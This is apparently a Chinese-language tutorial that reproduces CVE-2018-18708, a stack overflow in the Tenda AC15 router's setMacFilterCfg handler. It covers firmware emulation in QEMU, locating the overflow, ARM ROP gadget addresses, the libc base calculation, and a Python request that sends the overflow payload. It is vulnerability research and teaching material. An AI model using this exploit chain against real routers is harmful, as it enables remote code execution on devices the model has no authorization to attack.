栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解
字数 1261 2025-08-29 22:41:24
CVE-2018-18708漏洞复现与挖掘技术详解
1. 漏洞概述
CVE-2018-18708是Tenda路由器中的一个栈溢出漏洞,存在于setMacFilterCfg接口的deviceList参数处理过程中。攻击者可以通过构造特殊的HTTP请求触发该漏洞,最终可能导致远程代码执行。
2. 环境准备
2.1 工具安装
# 基础工具
apt-get install bridge-utils uml-utilities qemu-user-static
# 调试工具
git clone https://github.com/hugsy/gdb-static # 获取gdbserver
2.2 固件获取与解压
固件和PoC可从GitHub获取:
https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
使用binwalk解压固件:
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
2.3 文件系统准备
进入解压后的核心文件夹:
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
3. 调试环境搭建
3.1 QEMU用户级调试
- 复制qemu-arm-static到文件系统:
cp $(which qemu-arm-static) .
- 网络配置:
./net.sh
- 手动创建必要目录:
mkdir -p /var/run /var/lock
3.2 QEMU系统级调试
- 打包文件系统:
mksquashfs squashfs-root rootfs.img -comp xz -all-root
- 启动QEMU:
./boot.sh
- 配置网络:
ifconfig eth0 192.168.1.100 netmask 255.255.255.0
4. 漏洞分析
4.1 漏洞定位
- 关键函数调用链:
formSetMacFilterCfg -> sub_C14DC -> sub_C17A0 -> sub_C24C0
- 漏洞触发点:
strcpy(src_1 + 32, s); // 栈溢出点
4.2 漏洞条件
- 参数中必须包含
\r字符(ASCII 13) macFilterType必须为"black"或"white"deviceList参数长度超过176字节
5. 漏洞利用
5.1 偏移量计算
通过调试确认:
- 缓冲区大小为176字节(0xB0)
- PC寄存器偏移量为176
5.2 ROP链构造
5.2.1 关键Gadget
- 控制R3和PC:
0x00018298 : pop {r3, pc}
- 控制R0:
0x00040cb8 : mov r0, sp ; blx r3
5.2.2 libc基址计算
- 获取运行时puts地址:
0x3fdd1cd4 - IDA中puts偏移量:
0x35CD4 - libc基址计算:
libc_base = runtime_puts - ida_puts_offset
= 0x3fdd1cd4 - 0x35cd4
= 0x3fd9c000
5.2.3 system地址计算
- 获取system在libc中的偏移量
- 计算运行时地址:
system_addr = libc_base + system_offset
5.3 Payload结构
最终payload格式:
[offset, gadget1, system_addr, gadget2, cmd]
执行流程:
- 覆盖返回地址为gadget1地址
- gadget1弹出system_addr到r3
- gadget2将栈顶地址(cmd)赋给r0
- 执行system(cmd)
6. 漏洞复现步骤
6.1 准备工作
- 修补httpd程序:
rasm2 "mov r3, #1" # 生成机器码
# 使用IDA Patch Program功能修改二进制
- 启动httpd服务:
chroot . ./qemu-arm-static ./bin/httpd
6.2 调试设置
- 启动gdbserver:
./gdbserver :1234 ./bin/httpd
- 宿主机连接:
gdb-multiarch -ex "target remote :1234"
6.3 触发漏洞
发送构造的HTTP请求:
import requests
url = "http://target_ip/goform/setMacFilterCfg"
data = {
"macFilterType": "black",
"deviceList": "\r" + "A"*176 + payload
}
requests.post(url, data=data)
7. 注意事项
-
ARM架构的CPSR寄存器T位处理:
- Thumb模式地址需要+1
- 检查system函数是否处于Thumb模式
-
网络配置问题:
- 确保br0网卡已创建
- QEMU系统级调试需要手动配置网络
-
调试技巧:
- 在strcpy函数处设置断点
- 使用pwndbg进行更方便的调试
8. 参考资源
-
漏洞分析文章:
- https://blog.xmcve.com/2022/10/08/CVE-2018-18708-漏洞复现/
- https://blog.csdn.net/m0_55368674/article/details/128939608
-
工具链接:
- https://github.com/hugsy/gdb-static
- https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333